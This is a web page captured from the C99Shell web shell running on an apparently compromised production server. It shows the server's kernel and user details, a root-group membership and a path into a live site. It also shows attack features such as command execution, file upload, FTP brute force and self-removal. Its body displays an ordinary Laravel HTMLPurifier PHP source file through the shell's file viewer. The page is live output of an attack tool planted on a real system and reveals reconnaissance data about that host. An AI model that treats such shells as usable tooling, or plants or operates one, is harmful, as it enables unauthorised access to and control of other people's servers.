!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/mews/purifier/src/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Purifier.php (8.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mews\Purifier;

/**
 * Laravel 5 HTMLPurifier package
 *
 * @copyright Copyright (c) 2015 MeWebStudio
 * @version   2.0.0
 * @author    Muharrem ERİN
 * @contact me@mewebstudio.com
 * @web http://www.mewebstudio.com
 * @date      2014-04-02
 * @license   MIT
 */

use Exception;
use 
HTMLPurifier;
use 
HTMLPurifier_Config;
use 
HTMLPurifier_HTMLDefinition;
use 
Illuminate\Contracts\Config\Repository;
use 
Illuminate\Filesystem\Filesystem;

class 
Purifier
{

    
/**
     * @var Filesystem
     */
    
protected $files;

    
/**
     * @var Repository
     */
    
protected $config;

    
/**
     * @var HTMLPurifier
     */
    
protected $purifier;

    
/**
     * Constructor
     *
     * @param Filesystem $files
     * @param Repository $config
     * @throws Exception
     */
    
public function __construct(Filesystem $filesRepository $config)
    {
        
$this->files $files;
        
$this->config $config;

        
$this->setUp();
    }

    
/**
     * Setup
     *
     * @throws Exception
     */
    
private function setUp()
    {
        if (!
$this->config->has('purifier')) {
            throw new 
Exception('Configuration parameters not loaded!');
        }

        
$this->checkCacheDirectory();

        
// Create a new configuration object
        
$config $this->getConfig();

        
// Create HTMLPurifier object
        
$this->purifier = new HTMLPurifier($config);
    }

    
/**
     * Add a custom definition
     *
     * @see http://htmlpurifier.org/docs/enduser-customize.html
     * @param array $definitionConfig
     * @param HTMLPurifier_Config $configObject Defaults to using default config
     *
     * @return HTMLPurifier_Config $configObject
     */
    
private function addCustomDefinition(array $definitionConfigHTMLPurifier_Config $configObject null)
    {
        if (!
$configObject) {
            
$configObject HTMLPurifier_Config::createDefault();
            
$configObject->loadArray($this->getConfig());
        }

        
// Setup the custom definition
        
$configObject->set('HTML.DefinitionID'$definitionConfig['id']);
        
$configObject->set('HTML.DefinitionRev'$definitionConfig['rev']);

        
// Enable debug mode
        
if (!isset($definitionConfig['debug']) || $definitionConfig['debug']) {
            
$configObject->set('Cache.DefinitionImpl'null);
        }

        
// Start configuring the definition
        
if ($def $configObject->maybeGetRawHTMLDefinition()) {
            
// Create the definition attributes
            
if (!empty($definitionConfig['attributes'])) {
                
$this->addCustomAttributes($definitionConfig['attributes'], $def);
            }

            
// Create the definition elements
            
if (!empty($definitionConfig['elements'])) {
                
$this->addCustomElements($definitionConfig['elements'], $def);
            }
        }

        return 
$configObject;
    }

    
/**
     * Add provided attributes to the provided definition
     *
     * @param array $attributes
     * @param HTMLPurifier_HTMLDefinition $definition
     *
     * @return HTMLPurifier_HTMLDefinition $definition
     */
    
private function addCustomAttributes(array $attributesHTMLPurifier_HTMLDefinition $definition)
    {
        foreach (
$attributes as $attribute) {
            
// Get configuration of attribute
            
$required = !empty($attribute[3]) ? true false;
            
$onElement $attribute[0];
            
$attrName $required $attribute[1] . '*' $attribute[1];
            
$validValues $attribute[2];

            if (
$onElement === '*') {
                
$def $validValues;
                if (
is_string($validValues)) {
                    
$def = new $validValues();
                }

                if (
$def instanceof \HTMLPurifier_AttrDef) {
                    
$definition->info_global_attr[$attrName] = $def;
                }

                continue;
        }

        if (
class_exists($validValues)) {
        
$validValues = new $validValues();
        }

            
$definition->addAttribute($onElement$attrName$validValues);
        }

        return 
$definition;
    }

    
/**
     * Add provided elements to the provided definition
     *
     * @param array $elements
     * @param HTMLPurifier_HTMLDefinition $definition
     *
     * @return HTMLPurifier_HTMLDefinition $definition
     */
    
private function addCustomElements(array $elementsHTMLPurifier_HTMLDefinition $definition)
    {
        foreach (
$elements as $element) {
            
// Get configuration of element
            
$name $element[0];
            
$contentSet $element[1];
            
$allowedChildren $element[2];
            
$attributeCollection $element[3];
            
$attributes = isset($element[4]) ? $element[4] : null;

            if (!empty(
$attributes)) {
                
$definition->addElement($name$contentSet$allowedChildren$attributeCollection$attributes);
            } else {
                
$definition->addElement($name$contentSet$allowedChildren$attributeCollection);
            }
        }
    }

    
/**
     * Check/Create cache directory
     */
    
private function checkCacheDirectory()
    {
        
$cachePath $this->config->get('purifier.cachePath');

        if (
$cachePath) {
            if (!
$this->files->isDirectory($cachePath)) {
                
$this->files->makeDirectory($cachePath$this->config->get('purifier.cacheFileMode'0755),true);
            }
        }
    }

    
/**
     * @param null $config
     *
     * @return mixed|null
     */
    
protected function getConfig($config null)
    {
        
// Create a new configuration object
        
$configObject HTMLPurifier_Config::createDefault();

        
// Allow configuration to be modified
        
if (! $this->config->get('purifier.finalize')) {
            
$configObject->autoFinalize false;
        }

        
// Set default config
        
$defaultConfig = [];
        
$defaultConfig['Core.Encoding'] = $this->config->get('purifier.encoding');
        
$defaultConfig['Cache.SerializerPath'] = $this->config->get('purifier.cachePath');
        
$defaultConfig['Cache.SerializerPermissions'] = $this->config->get('purifier.cacheFileMode'0755);

        if (! 
$config) {
            
$config $this->config->get('purifier.settings.default');
        } elseif (
is_string($config)) {
            
$config $this->config->get('purifier.settings.' $config);
        }

        if (! 
is_array($config)) {
            
$config = [];
        }

        
// Merge configurations
        
$config $defaultConfig $config;

        
// Load to Purifier config
        
$configObject->loadArray($config);

        
// Load custom definition if set
        
if ($definitionConfig $this->config->get('purifier.settings.custom_definition')) {
            
$this->addCustomDefinition($definitionConfig$configObject);
        }

        
// Load custom elements if set
        
if ($elements $this->config->get('purifier.settings.custom_elements')) {
            if (
$def $configObject->maybeGetRawHTMLDefinition()) {
                
$this->addCustomElements($elements$def);
            }
        }

        
// Load custom attributes if set
        
if ($attributes $this->config->get('purifier.settings.custom_attributes')) {
            if (
$def $configObject->maybeGetRawHTMLDefinition()) {
                
$this->addCustomAttributes($attributes$def);
            }
        }

        return 
$configObject;
    }

    
/**
     * @param      $dirty
     * @param null $config
     * @param \Closure|null $postCreateConfigHook
     * @return mixed
     */
    
public function clean($dirty$config null\Closure $postCreateConfigHook null)
    {
        if (
is_array($dirty)) {
            return 
array_map(function ($item) use ($config) {
                return 
$this->clean($item$config);
            }, 
$dirty);
        }

        
$configObject null;
        if (
$config !== null) {
            
$configObject $this->getConfig($config);

            if (
$postCreateConfigHook !== null) {
                
$postCreateConfigHook->call($this$configObject);
            }
        }

        
//If $dirty is not an explicit string, bypass purification assuming configuration allows this
        
$ignoreNonStrings $this->config->get('purifier.ignoreNonStrings'false);
        
$stringTest is_string($dirty);
        if(
$stringTest === false && $ignoreNonStrings === true) {
            return 
$dirty;
        }

        return 
$this->purifier->purify($dirty$configObject);
    }

    
/**
     * Get HTMLPurifier instance.
     *
     * @return \HTMLPurifier
     */
    
public function getInstance()
    {
        return 
$this->purifier;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0146 ]--